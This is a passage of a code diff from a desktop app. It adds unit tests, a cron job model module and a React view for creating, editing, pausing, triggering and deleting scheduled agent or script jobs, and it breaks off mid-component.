+  it('includes prompt when the user typed one on a script-only job', () => {
+    expect(
+      cronEditorUpdates(
+        { deliver: 'email', model: '', name: 'Weekly', prompt: 'note', provider: '', schedule: '0 9 * * 1' },
+        { scriptOnlyJob: true }
+      ).prompt
+    ).toBe('note')
+  })
+
+  it('writes the model override for agent jobs', () => {
+    const updates = cronEditorUpdates(
+      {
+        deliver: 'local',
+        model: 'claude-sonnet-4',
+        name: 'Daily',
+        prompt: 'go',
+        provider: 'anthropic',
+        schedule: '0 9 * * *'
+      },
+      { scriptOnlyJob: false }
+    )
+
+    expect(updates.model).toBe('claude-sonnet-4')
+    expect(updates.provider).toBe('anthropic')
+  })
+
+  it('clears a previous pin when the override is reset to default', () => {
+    const updates = cronEditorUpdates(
+      { deliver: 'local', model: '', name: 'Daily', prompt: 'go', provider: '', schedule: '0 9 * * *' },
+      { scriptOnlyJob: false }
+    )
+
+    expect(updates.model).toBe(null)
+    expect(updates.provider).toBe(null)
+  })
+
+  it('never touches model fields on script-only jobs', () => {
+    const updates = cronEditorUpdates(
+      { deliver: 'local', model: 'x', name: 'Weekly', prompt: '', provider: 'y', schedule: '0 9 * * 1' },
+      { scriptOnlyJob: true }
+    )
+
+    expect('model' in updates).toBe(false)
+    expect('provider' in updates).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/cron/cron-job-model.ts b/ui-desktop/src/app/cron/cron-job-model.ts
new file mode 100644
index 000000000..338681c83
--- /dev/null
+++ b/ui-desktop/src/app/cron/cron-job-model.ts
@@ -0,0 +1,72 @@
+import type { CronJob, CronJobUpdates } from '@/types/clawcodex'
+
+const asText = (value: unknown): string => (typeof value === 'string' ? value : '')
+
+/** Script-only cron jobs run a shell script on schedule with no LLM prompt. */
+export function jobIsScriptOnly(job: Pick<CronJob, 'no_agent' | 'script'>): boolean {
+  return Boolean(job.no_agent) && Boolean(asText(job.script).trim())
+}
+
+export type CronEditorValidationError = 'prompt' | 'prompt_and_schedule' | 'schedule'
+
+export interface CronEditorValidationInput {
+  prompt: string
+  schedule: string
+  scriptOnlyJob: boolean
+}
+
+export function validateCronEditor(input: CronEditorValidationInput): CronEditorValidationError | null {
+  const trimmedPrompt = input.prompt.trim()
+  const trimmedSchedule = input.schedule.trim()
+
+  if (!trimmedSchedule && !trimmedPrompt && !input.scriptOnlyJob) {
+    return 'prompt_and_schedule'
+  }
+
+  if (!trimmedSchedule) {
+    return 'schedule'
+  }
+
+  if (!input.scriptOnlyJob && !trimmedPrompt) {
+    return 'prompt'
+  }
+
+  return null
+}
+
+export interface CronEditorSaveValues {
+  deliver: string
+  /** Per-job model override ('' = follow the global default at fire time). */
+  model: string
+  name: string
+  prompt: string
+  /** Provider for the model override ('' = none). Always paired with model. */
+  provider: string
+  schedule: string
+}
+
+/** Build the API update payload, preserving an empty prompt on script-only jobs. */
+export function cronEditorUpdates(values: CronEditorSaveValues, options: { scriptOnlyJob: boolean }): CronJobUpdates {
+  const updates: CronJobUpdates = {
+    deliver: values.deliver,
+    name: values.name,
+    schedule: values.schedule.trim()
+  }
+
+  const trimmedPrompt = values.prompt.trim()
+
+  if (!options.scriptOnlyJob || trimmedPrompt) {
+    updates.prompt = trimmedPrompt
+  }
+
+  // Script-only jobs never run an agent, so the scheduler ignores model
+  // overrides — leave whatever is stored untouched. For agent jobs, always
+  // write both axes so resetting to "default" clears a previous pin (the
+  // backend normalizes null/'' to "no override").
+  if (!options.scriptOnlyJob) {
+    updates.model = values.model.trim() || null
+    updates.provider = values.provider.trim() || null
+  }
+
+  return updates
+}
diff --git a/ui-desktop/src/app/cron/index.tsx b/ui-desktop/src/app/cron/index.tsx
new file mode 100644
index 000000000..5efa2b14c
--- /dev/null
+++ b/ui-desktop/src/app/cron/index.tsx
@@ -0,0 +1,1225 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import type * as React from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import {
+  type AutomationBlueprint,
+  createCronJob,
+  type CronDeliveryTarget,
+  type CronJob,
+  deleteCronJob,
+  getAutomationBlueprints,
+  getCronDeliveryTargets,
+  getCronJobRuns,
+  getCronJobs,
+  instantiateAutomationBlueprint,
+  pauseCronJob,
+  resumeCronJob,
+  type SessionInfo,
+  triggerCronJob,
+  updateCronJob
+} from '@/clawcodex'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Field, FieldHint } from '@/components/ui/field'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectGroup,
+  SelectItem,
+  SelectLabel,
+  SelectTrigger,
+  SelectValue
+} from '@/components/ui/select'
+import { Textarea } from '@/components/ui/textarea'
+import { type Translations, useI18n } from '@/i18n'
+import { AlertTriangle } from '@/lib/icons'
+import { requestModelOptions } from '@/lib/model-options'
+import { asText } from '@/lib/text'
+import { $cronFocusJobId, $cronJobs, setCronFocusJobId, setCronJobs, updateCronJobs } from '@/store/cron'
+import { $changeEventsAvailable, $cronChangeTick } from '@/store/live-sync'
+import { notify, notifyError } from '@/store/notifications'
+import { $profileScope, ALL_PROFILES } from '@/store/profile'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import {
+  Panel,
+  PanelAction,
+  PanelAddButton,
+  PanelBlock,
+  PanelBody,
+  PanelDetail,
+  PanelEmpty,
+  PanelHeader,
+  PanelList,
+  PanelListRow,
+  type PanelMenuItem,
+  PanelMeta,
+  PanelPill,
+  type PanelPillTone,
+  PanelSectionLabel
+} from '../overlays/panel'
+import type { SetStatusbarItemGroup } from '../shell/statusbar-controls'
+
+import { BlueprintSlotControl, blueprintSlotHelp, cleanBlueprintFieldError, initialBlueprintValues } from './blueprints'
+import { cronEditorUpdates, jobIsScriptOnly, validateCronEditor } from './cron-job-model'
+import { jobState, jobTitle, STATE_DOT } from './job-state'
+
+const DEFAULT_DELIVER = 'local'
+
+// Radix <SelectItem> rejects empty-string values, so the "no override" row in
+// the model picker carries this sentinel and is mapped back to '' on save.
+const MODEL_DEFAULT_VALUE = '__default__'
+
+// "Start from" default: the manual editor (blank cron). Any other value is a
+// blueprint key. Blueprint keys never collide with this sentinel.
+const CUSTOM_TEMPLATE = 'custom'
+
+const SCHEDULE_OPTIONS: ReadonlyArray<ScheduleOption> = [
+  { expr: '0 9 * * *', value: 'daily' },
+  { expr: '0 9 * * 1-5', value: 'weekdays' },
+  { expr: '0 9 * * 1', value: 'weekly' },
+  { expr: '0 9 1 * *', value: 'monthly' },
+  { expr: '0 * * * *', value: 'hourly' },
+  { expr: '*/15 * * * *', value: 'every-15-minutes' },
+  { value: 'custom' }
+]
+
+const STATE_TONE: Record<string, PanelPillTone> = {
+  enabled: 'good',
+  scheduled: 'good',
+  running: 'good',
+  paused: 'warn',
+  disabled: 'muted',
+  error: 'bad',
+  completed: 'muted'
+}
+
+const truncate = (value: string, max = 80): string => (value.length > max ? `${value.slice(0, max)}…` : value)
+
+function jobName(job: CronJob): string {
+  return asText(job.name).trim()
+}
+
+function jobPrompt(job: CronJob): string {
+  return asText(job.prompt)
+}
+
+function jobScheduleDisplay(job: CronJob): string {
+  return asText(job.schedule_display) || asText(job.schedule?.display) || asText(job.schedule?.expr) || '—'
+}
+
+function jobScheduleExpr(job: CronJob): string {
+  return asText(job.schedule?.expr) || asText(job.schedule_display) || ''
+}
+
+function jobDeliver(job: CronJob): string {
+  return asText(job.deliver) || DEFAULT_DELIVER
+}
+
+function jobModel(job: CronJob): string {
+  return asText(job.model).trim()
+}
+
+function jobProvider(job: CronJob): string {
+  return asText(job.provider).trim()
+}
+
+function cronParts(expr: string): null | string[] {
+  const parts = expr.trim().replace(/\s+/g, ' ').split(' ')
+
+  return parts.length === 5 ? parts : null
+}
+
+function dayName(value: string, c: Translations['cron']): string {
+  return c.days[value] ?? c.dayFallback(value)
+}
+
+function formatCronTime(minute: string, hour: string): string {
+  const numericHour = Number(hour)
+  const numericMinute = Number(minute)
+
+  if (!Number.isInteger(numericHour) || !Number.isInteger(numericMinute)) {
+    return `${hour}:${minute}`
+  }
+
+  return new Date(2000, 0, 1, numericHour, numericMinute).toLocaleTimeString(undefined, {
+    hour: 'numeric',
+    minute: '2-digit'
+  })
+}
+
+function isIntegerToken(value: string): boolean {
+  return /^\d+$/.test(value)
+}
+
+function scheduleOptionForExpr(expr: string): ScheduleOption {
+  const normalized = expr.trim().replace(/\s+/g, ' ')
+  const exactMatch = SCHEDULE_OPTIONS.find(option => option.expr === normalized)
+
+  if (exactMatch) {
+    return exactMatch
+  }
+
+  const parts = cronParts(normalized)
+
+  if (!parts) {
+    return SCHEDULE_OPTIONS[SCHEDULE_OPTIONS.length - 1]
+  }
+
+  const [minute, hour, dayOfMonth, month, dayOfWeek] = parts
+
+  if (dayOfMonth === '*' && month === '*' && dayOfWeek === '*' && isIntegerToken(minute) && isIntegerToken(hour)) {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'daily') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  if (dayOfMonth === '*' && month === '*' && dayOfWeek === '1-5' && isIntegerToken(minute) && isIntegerToken(hour)) {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'weekdays') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  if (
+    dayOfMonth === '*' &&
+    month === '*' &&
+    isIntegerToken(dayOfWeek) &&
+    isIntegerToken(minute) &&
+    isIntegerToken(hour)
+  ) {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'weekly') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  if (
+    month === '*' &&
+    dayOfWeek === '*' &&
+    isIntegerToken(dayOfMonth) &&
+    isIntegerToken(minute) &&
+    isIntegerToken(hour)
+  ) {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'monthly') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  if (hour === '*' && dayOfMonth === '*' && month === '*' && dayOfWeek === '*' && isIntegerToken(minute)) {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'hourly') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  if (normalized === '*/15 * * * *') {
+    return SCHEDULE_OPTIONS.find(option => option.value === 'every-15-minutes') ?? SCHEDULE_OPTIONS[0]
+  }
+
+  return SCHEDULE_OPTIONS[SCHEDULE_OPTIONS.length - 1]
+}
+
+function scheduleSummary(option: ScheduleOption, expr: string, c: Translations['cron']): string {
+  const parts = cronParts(expr)
+
+  if (!parts) {
+    return c.scheduleHints[option.value] ?? ''
+  }
+
+  const [minute, hour, dayOfMonth, , dayOfWeek] = parts
+
+  if (option.value === 'daily') {
+    return c.everyDayAt(formatCronTime(minute, hour))
+  }
+
+  if (option.value === 'weekdays') {
+    return c.weekdaysAt(formatCronTime(minute, hour))
+  }
+
+  if (option.value === 'weekly') {
+    return c.everyDayOfWeekAt(dayName(dayOfWeek, c), formatCronTime(minute, hour))
+  }
+
+  if (option.value === 'monthly') {
+    return c.monthlyOnDayAt(dayOfMonth, formatCronTime(minute, hour))
+  }
+
+  if (option.value === 'hourly') {
+    return minute === '0' ? c.topOfHour : c.everyHourAt(minute.padStart(2, '0'))
+  }
+
+  return c.scheduleHints[option.value] ?? ''
+}
+
+function formatTime(iso?: null | string): string {
+  if (!iso) {
+    return '—'
+  }
+
+  const date = new Date(iso)
+
+  if (Number.isNaN(date.valueOf())) {
+    return iso
+  }
+
+  return date.toLocaleString()
+}
+
+function matchesQuery(job: CronJob, q: string): boolean {
+  if (!q) {
+    return true
+  }
+
+  const needle = q.toLowerCase()
+
+  return [jobTitle(job), jobPrompt(job), jobScheduleDisplay(job), jobScheduleExpr(job), jobDeliver(job)].some(value =>
+    value.toLowerCase().includes(needle)
+  )
+}
+
+interface CronViewProps extends React.ComponentProps<'section'> {
+  onClose: () => void
+  onOpenSession?: (sessionId: string) => void
+  setStatusbarItemGroup?: SetStatusbarItemGroup
+}
+
+export function CronView({ onClose, onOpenSession, setStatusbarItemGroup: _setStatusbarItemGroup }: CronViewProps) {
+  const { t } = useI18n()
+  const c = t.cron
+  // Source of truth is the shared atom (also fed by the controller poll), so the
+  // sidebar and this overlay never drift — a delete here clears the sidebar row
+  // immediately. `loading` only gates the first paint before the atom is filled.
+  const jobs = useStore($cronJobs)
+  const [loading, setLoading] = useState(jobs.length === 0)
+  const [query, setQuery] = useState('')
+  const [busyJobId, setBusyJobId] = useState<null | string>(null)
+  // Master/detail: the job whose schedule + run history fill the right pane.
+  const [selectedJobId, setSelectedJobId] = useState<null | string>(null)
+  // Set when a job is opened from the sidebar so we scroll it into view once the
+  // row exists. Cleared after the scroll fires.
+  const pendingScrollRef = useRef<null | string>(null)
+  const focusJobId = useStore($cronFocusJobId)
+
+  const [editor, setEditor] = useState<EditorState>({ mode: 'closed' })
+  const [pendingDelete, setPendingDelete] = useState<CronJob | null>(null)
+  const [deleting, setDeleting] = useState(false)
+
+  // Jobs live per-profile on disk and the list endpoint aggregates 'all' by
+  // default — scope the fetch to the sidebar's profile scope so this overlay
+  // and the sidebar (which share the $cronJobs atom) agree on what's shown.
+  const profileScope = useStore($profileScope)
+
+  const refresh = useCallback(async () => {
+    try {
+      setCronJobs(await getCronJobs(profileScope === ALL_PROFILES ? 'all' : profileScope))
+    } catch (err) {
+      notifyError(err, c.failedLoad)
+    } finally {
+      setLoading(false)
+    }
+  }, [c, profileScope])
+
+  useRefreshHotkey(refresh)
+
+  useEffect(() => {
+    void refresh()
+  }, [refresh])
+
+  // Sidebar → "open this job": resolve the focus id (or name) to a job, select
+  // it, queue a scroll, then clear the one-shot focus so re-opening cron
+  // normally doesn't re-trigger it.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!focusJobId) {
+      return
+    }
+
+    const match = jobs.find(job => job.id === focusJobId || jobName(job) === focusJobId)
+
+    if (match) {
+      setSelectedJobId(match.id)
+      pendingScrollRef.current = match.id
+    }
+
+    setCronFocusJobId(null)
+  }, [focusJobId, jobs])
+
+  const visibleJobs = useMemo(
+    () => jobs.filter(job => matchesQuery(job, query.trim())).sort((a, b) => jobTitle(a).localeCompare(jobTitle(b))),
+    [jobs, query]
+  )
+
+  // Detail always reflects a concrete job: the explicitly selected one, else the
+  // first visible row, so the right pane is never empty while jobs exist.
+  const selectedJob = useMemo(
+    () => visibleJobs.find(job => job.id === selectedJobId) ?? visibleJobs[0] ?? null,
+    [visibleJobs, selectedJobId]
+  )
+
+  // Scroll a sidebar-opened job into view once its list row is mounted.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const target = pendingScrollRef.current
+
+    if (!target || selectedJob?.id !== target) {
+      return
+    }
+
+    pendingScrollRef.current = null
+    requestAnimationFrame(() => {
+      document.querySelector(`[data-panel-row="${CSS.escape(target)}"]`)?.scrollIntoView({ block: 'nearest' })
+    })
+  }, [selectedJob])
+
+  const totalCount = jobs.length
+
+  async function handlePauseResume(job: CronJob) {
+    setBusyJobId(job.id)
+
+    try {
+      const isPaused = jobState(job) === 'paused'
+      const updated = isPaused ? await resumeCronJob(job.id) : await pauseCronJob(job.id)
+      updateCronJobs(rows => rows.map(row => (row.id === job.id ? updated : row)))
+      notify({
+        kind: 'success',
+        title: isPaused ? c.resumed : c.paused,
+        message: truncate(jobTitle(job), 60)
+      })
+    } catch (err) {
+      notifyError(err, c.failedUpdate)
+    } finally {
+      setBusyJobId(null)
+    }
+  }
+
+  async function handleTrigger(job: CronJob) {
+    setBusyJobId(job.id)
+
+    try {
+      const updated = await triggerCronJob(job.id)
+      updateCronJobs(rows => rows.map(row => (row.id === job.id ? updated : row)))
+      notify({ kind: 'success', title: c.triggered, message: truncate(jobTitle(job), 60) })
+    } catch (err) {
+      notifyError(err, c.failedTrigger)
+    } finally {
+      setBusyJobId(null)
+    }
+  }
+
+  async function handleConfirmDelete() {
+    if (!pendingDelete) {
+      return
+    }
+
+    setDeleting(true)
+
+    try {
+      await deleteCronJob(pendingDelete.id)
+      updateCronJobs(rows => rows.filter(row => row.id !== pendingDelete.id))
+      notify({ kind: 'success', title: c.deleted, message: truncate(jobTitle(pendingDelete), 60) })
+      setPendingDelete(null)
+    } catch (err) {
+      notifyError(err, c.failedDelete)
+    } finally {
+      setDeleting(false)
+    }
+  }
+
+  async function handleEditorSave(values: EditorValues) {
+    if (editor.mode === 'create') {
+      const created = await createCronJob({
+        prompt: values.prompt,
+        schedule: values.schedule,
+        name: values.name || undefined,
+        deliver: values.deliver || DEFAULT_DELIVER,
+        ...(values.model.trim() ? { model: values.model.trim(), provider: values.provider.trim() || undefined } : {})
+      })
+
+      updateCronJobs(rows => [...rows, created])
+      notify({ kind: 'success', title: c.created, message: truncate(jobTitle(created), 60) })
+    } else if (editor.mode === 'edit') {
+      const scriptOnlyJob = jobIsScriptOnly(editor.job)
+
+      const updated = await updateCronJob(editor.job.id, cronEditorUpdates(values, { scriptOnlyJob }))
+
+      updateCronJobs(rows => rows.map(row => (row.id === updated.id ? updated : row)))
+      notify({ kind: 'success', title: c.updated, message: truncate(jobTitle(updated), 60) })
+    }
+
+    setEditor({ mode: 'closed' })
+  }
+
+  // Blueprint instantiation is a distinct backend path (fills typed slots, then
+  // creates the job) so it can't share the raw-cron onSave contract. Merge the
+  // created job into $cronJobs like every other create path. A blueprint writes a
+  // real per-profile job, and "all" is not a writable target — collapse it to
+  // 'default', matching the manual create path in handleEditorSave.
+  async function handleBlueprintCreate(blueprint: AutomationBlueprint, values: Record<string, string>) {
+    const profile = profileScope === ALL_PROFILES ? 'default' : profileScope
+    const job = await instantiateAutomationBlueprint({ blueprint: blueprint.key, values }, profile)
+
+    updateCronJobs(rows => {
+      const rest = rows.filter(row => row.id !== job.id)
+
+      return [...rest, job]
+    })
+    notify({ kind: 'success', title: c.blueprints.scheduled, message: asText(job.schedule_display) || blueprint.title })
+    setEditor({ mode: 'closed' })
+  }
+
+  return (
+    <Panel closeLabel={c.close} onClose={onClose}>
+      <PanelHeader subtitle={c.count(totalCount)} title={c.title} />
+
+      {loading && jobs.length === 0 ? (
+        <PageLoader label={c.loading} />
+      ) : totalCount === 0 ? (
+        <PanelEmpty
+          action={
+            <Button onClick={() => setEditor({ mode: 'create' })} size="sm">
+              {c.newCron}
+            </Button>
+          }
+          description={c.emptyDescNew}
+          icon="watch"
+          title={c.emptyTitleNew}
+        />
+      ) : (
+        <PanelBody>
+          <PanelList
+            onSearchChange={setQuery}
+            searchHints={jobs
+              .map(jobTitle)
+              .filter(Boolean)
+              .slice(0, 5)
+              .map(title => t.common.tryHint(title))}
+            searchLabel={c.search}
+            searchPlaceholder={c.search}
+            searchValue={query}
+          >
+            {visibleJobs.map(job => (
+              <CronJobListRow
+                active={selectedJob?.id === job.id}
+                job={job}
+                key={job.id}
+                menuItems={[
+                  { icon: 'edit', label: c.edit, onSelect: () => setEditor({ mode: 'edit', job }) },
+                  { icon: 'trash', label: t.common.delete, onSelect: () => setPendingDelete(job), tone: 'danger' }
+                ]}
+                menuLabel={c.manage}
+                onSelect={() => setSelectedJobId(job.id)}
+              />
+            ))}
+            {visibleJobs.length === 0 && (
+              <p className="px-2 py-4 text-center text-xs text-muted-foreground">{c.emptyTitleSearch}</p>
+            )}
+            <PanelAddButton label={c.newCron} onClick={() => setEditor({ mode: 'create' })} />
+          </PanelList>
+
+          {selectedJob ? (
+            <CronJobDetail
+              busy={busyJobId === selectedJob.id}
+              c={c}
+              job={selectedJob}
+              onOpenSession={onOpenSession}
+              onPauseResume={() => void handlePauseResume(selectedJob)}
+              onTrigger={() => void handleTrigger(selectedJob)}
+            />
+          ) : (
+            <PanelEmpty description={c.emptyDescSearch} icon="search" />
+          )}
+        </PanelBody>
+      )}
+
+      <CronEditorDialog
+        editor={editor}
+        onBlueprintCreate={handleBlueprintCreate}
+        onClose={() => setEditor({ mode: 'closed' })}
+        onSave={handleEditorSave}
+      />
+
+      <Dialog onOpenChange={open => !open && !deleting && setPendingDelete(null)} open={pendingDelete !== null}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>{c.deleteTitle}</DialogTitle>
+            <DialogDescription>
+              {pendingDelete ? (
+                <>
+                  {c.deleteDescPrefix}
+                  <span className="font-medium text-foreground">{truncate(jobTitle(pendingDelete), 60)}</span>
+                  {c.deleteDescSuffix}
+                </>
+              ) : null}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button disabled={deleting} onClick={() => setPendingDelete(null)} variant="outline">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={deleting} onClick={() => void handleConfirmDelete()} variant="destructive">
+              {deleting ? c.deleting : t.common.delete}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </Panel>
+  )
+}
+
+function CronJobListRow({
+  active,
+  job,
+  menuItems,
+  menuLabel,
+  onSelect
+}: {
+  active: boolean
+  job: CronJob
+  menuItems?: PanelMenuItem[]
+  menuLabel?: string
+  onSelect: () => void
+}) {
+  const state = jobState(job)
+
+  return (
+    <PanelListRow
+      active={active}
+      dotClassName={STATE_DOT[state] ?? 'bg-muted-foreground'}
+      menuItems={menuItems}
+      menuLabel={menuLabel}
+      onSelect={onSelect}
+      rowKey={job.id}
+      title={jobTitle(job)}
+    />
+  )
+}
+
+function CronJobDetail({
+  busy,
+  c,
+  job,
+  onOpenSession,
+  onPauseResume,
+  onTrigger
+}: {
+  busy: boolean
+  c: Translations['cron']
+  job: CronJob
+  onOpenSession?: (sessionId: string) => void
+  onPauseResume: () => void
+  onTrigger: () => void
+}) {
+  const state = jobState(job)
+  const isPaused = state === 'paused'
+  const deliver = jobDeliver(job)
+  const prompt = jobPrompt(job)
+  const modelOverride = jobModel(job)
+
+  return (
+    <PanelDetail>
+      <header className="space-y-3">
+        <div className="flex flex-wrap items-start justify-between gap-3">
+          <div className="flex min-w-0 flex-wrap items-center gap-2">
+            <h3 className="text-[0.95rem] font-semibold tracking-tight text-foreground">{jobTitle(job)}</h3>
+            <PanelPill tone={STATE_TONE[state] ?? 'muted'}>{c.states[state] ?? state}</PanelPill>
+          </div>
+          <div className="flex shrink-0 items-center gap-0.5">
+            <PanelAction disabled={busy} icon={isPaused ? 'play' : 'debug-pause'} onClick={onPauseResume}>
+              {isPaused ? c.resumeTitle : c.pauseTitle}
+            </PanelAction>
+            <PanelAction disabled={busy} icon="zap" onClick={onTrigger} primary>
+              {c.triggerNow}
+            </PanelAction>
+          </div>
+        </div>
+
+        <PanelMeta
+          rows={[
+            { label: c.frequencyLabel, value: jobScheduleDisplay(job) },
+            { label: c.last.replace(/:$/, ''), value: formatTime(job.last_run_at) },
+            { label: c.next.replace(/:$/, ''), value: formatTime(job.next_run_at) },
+            { label: c.deliverLabel, value: c.deliveryLabels[deliver] ?? deliver },
+            ...(modelOverride ? [{ label: c.modelLabel, value: modelOverride }] : [])
+          ]}
+        />
+
+        {job.last_error ? (
+          <div className="flex items-start gap-1.5 rounded bg-destructive/10 p-2 text-[0.7rem] text-destructive">
+            <AlertTriangle className="mt-px size-3 shrink-0" />
+            <span className="min-w-0 break-words">{job.last_error}</span>
+          </div>
+        ) : null}
+      </header>
+
+      {prompt ? (
+        <section className="space-y-1.5">
+          <PanelSectionLabel>{c.promptLabel}</PanelSectionLabel>
+          <PanelBlock>{prompt}</PanelBlock>
+        </section>
+      ) : null}
+
+      <CronJobRuns c={c} jobId={job.id} onOpenSession={onOpenSession} />
+    </PanelDetail>
+  )
+}
+
+function formatRunTime(seconds?: null | number): string {
+  if (!seconds) {
+    return '—'
+  }
+
+  const date = new Date(seconds * 1000)
+
+  return Number.isNaN(date.valueOf()) ? '—' : date.toLocaleString()
+}
+
+// Runs are produced by the background scheduler tick. cron.changed /
+// sessions.changed broadcasts re-load immediately on event-capable backends
+// (the tick dep below), so the poll drops to a slow backstop there; older
+// backends keep the legacy cadence.
+const RUNS_POLL_INTERVAL_MS = 8000
+const RUNS_BACKSTOP_INTERVAL_MS = 60_000
+
+function CronJobRuns({
+  c,
+  jobId,
+  onOpenSession
+}: {
+  c: Translations['cron']
+  jobId: string
+  onOpenSession?: (sessionId: string) => void
+}) {
+  const [runs, setRuns] = useState<null | SessionInfo[]>(null)
+  const changeEventsAvailable = useStore($changeEventsAvailable)
+  const cronChangeTick = useStore($cronChangeTick)
+
+  useEffect(() => {
+    let cancelled = false
+
+    const load = () =>
+      getCronJobRuns(jobId)
+        .then(result => {
+          if (!cancelled) {
+            setRuns(result)
+          }
+        })
+        .catch(() => {
+          if (!cancelled) {
+            setRuns(prev => prev ?? [])
+          }
+        })
+
+    void load()
+
+    const intervalId = window.setInterval(
+      () => {
+        if (document.visibilityState === 'visible') {
+          void load()
+        }
+      },
+      changeEventsAvailable ? RUNS_BACKSTOP_INTERVAL_MS : RUNS_POLL_INTERVAL_MS
+    )
+
+    const onVisible = () => {
+      if (document.visibilityState === 'visible') {
+        void load()
+      }
+    }
+
+    document.addEventListener('visibilitychange', onVisible)
+
+    return () => {
+      cancelled = true
+      window.clearInterval(intervalId)
+      document.removeEventListener('visibilitychange', onVisible)
+    }
+    // cronChangeTick: a fired run moves jobs.json bookkeeping → reload now.
+  }, [changeEventsAvailable, cronChangeTick, jobId])
+
+  return (
+    <div>
+      <PanelSectionLabel className="mb-1.5">
+        {c.runHistory}
+        {runs && runs.length > 0 ? ` · ${runs.length}` : ''}
+      </PanelSectionLabel>
+      {runs === null ? (
+        <div className="flex items-center gap-1.5 py-1 text-xs text-muted-foreground">
+          <Codicon name="loading" size="0.75rem" spinning />
+        </div>
+      ) : runs.length === 0 ? (
+        <div className="py-1 text-xs text-muted-foreground">{c.noRuns}</div>
+      ) : (
+        <div className="flex flex-col gap-px">
+          {runs.map(run => (
+            <button
+              className="row-hover flex items-center justify-between gap-3 rounded-md px-2 py-1 text-left text-xs focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/40"
+              key={run.id}
+              onClick={() => onOpenSession?.(run.id)}
+              type="button"
+            >
+              <span className="truncate text-foreground/85">{run.title?.trim() || run.preview?.trim() || run.id}</span>
+              <span className="shrink-0 text-[0.62rem] text-muted-foreground/55 tabular-nums">
+                {formatRunTime(run.last_active || run.started_at)}
+              </span>
+            </button>
+          ))}
+        </div>
+      )}
+    </div>
+  )
+}
+
+// Label a cron delivery target: 'local' → localized "This desktop", known
+// platforms → their delivery label, anything else → the backend name. Configured
+// platforms without a cron home channel get a "set a home channel first" hint.
+function deliverTargetLabel(target: CronDeliveryTarget, c: Translations['cron']): string {
+  const base = target.id === 'local' ? c.deliveryLabels.local : (c.deliveryLabels[target.id] ?? target.name)
+
+  return target.id !== 'local' && !target.home_target_set ? `${base} — ${c.deliverNeedsHomeChannel}` : base
+}
+
+// The delivery-target dropdown, shared by the manual cron editor and the
+// blueprint form so both offer exactly the connected platforms (never a
+// hardcoded list). While the targets load, keep the current value selectable.
+function DeliverSelect({
+  c,
+  id,
+  onChange,
+  targets,
+  value
+}: {
+  c: Translations['cron']
+  id: string
+  onChange: (next: string) => void
+  targets: CronDeliveryTarget[]
+  value: string
+}) {
+  const options = targets.length > 0 ? targets : [{ home_env_var: null, home_target_set: true, id: value, name: value }]
+
+  return (
+    <Select onValueChange={onChange} value={value}>
+      <SelectTrigger className="h-9 rounded-md" id={id}>
+        <SelectValue />
+      </SelectTrigger>
+      <SelectContent>
+        {options.map(target => (
+          <SelectItem key={target.id} value={target.id}>
+            {deliverTargetLabel(target, c)}
+          </SelectItem>
+        ))}
+      </SelectContent>
+    </Select>
+  )
+}
+
+function CronEditorDialog({
+  editor,
+  onBlueprintCreate,
+  onClose,
+  onSave
+}: {
+  editor: EditorState
+  onBlueprintCreate: (blueprint: AutomationBlueprint, values: Record<string, string>) => Promise<void>
+  onClose: () => void
+  onSave: (values: EditorValues) => Promise<void>
+}) {
+  const { t } = useI18n()
+  const c = t.cron
+  const open = editor.mode !== 'closed'
+  const isEdit = editor.mode === 'edit'
+  const initial = isEdit ? editor.job : null
+  const scriptOnlyJob = initial ? jobIsScriptOnly(initial) : false
+
+  const [name, setName] = useState('')
+  const [prompt, setPrompt] = useState('')
+  const [schedule, setSchedule] = useState('')
+  const [schedulePreset, setSchedulePreset] = useState('daily')
+  const [deliver, setDeliver] = useState(DEFAULT_DELIVER)
+  // Per-job model override, encoded as `${providerSlug}:${model}` (split on the
+  // first ':' when saving). MODEL_DEFAULT_VALUE = follow the global default.
+  const [modelChoice, setModelChoice] = useState(MODEL_DEFAULT_VALUE)
+  // Blueprint fills typed slots (time/enum/weekdays/text) instead of the raw
+  // cron fields; the backend renders the prompt + schedule from them.
+  const [slotValues, setSlotValues] = useState<Record<string, string>>({})
+  // Create mode can start from a ready-made blueprint instead of a blank cron.
+  // CUSTOM_TEMPLATE (default) = the manual editor; any other value is a
+  // blueprint key that swaps the form for that blueprint's typed slots.
+  const [templateChoice, setTemplateChoice] = useState(CUSTOM_TEMPLATE)
+  const [saving, setSaving] = useState(false)
+  const [error, setError] = useState<null | string>(null)
+
+  // The blueprint catalog powers the create dialog's "Start from" dropdown; it's
+  // meaningless when editing an existing job, so skip the fetch there.
+  const blueprintsQuery = useQuery({
+    queryKey: ['cron-blueprints'],
+    queryFn: async () => (await getAutomationBlueprints()).blueprints,
+    enabled: open && !isEdit
+  })
+
+  const blueprintList = blueprintsQuery.data ?? []
+
+  const blueprint =
+    templateChoice === CUSTOM_TEMPLATE ? null : (blueprintList.find(item => item.key === templateChoice) ?? null)
+
+  const isBlueprint = blueprint !== null
+
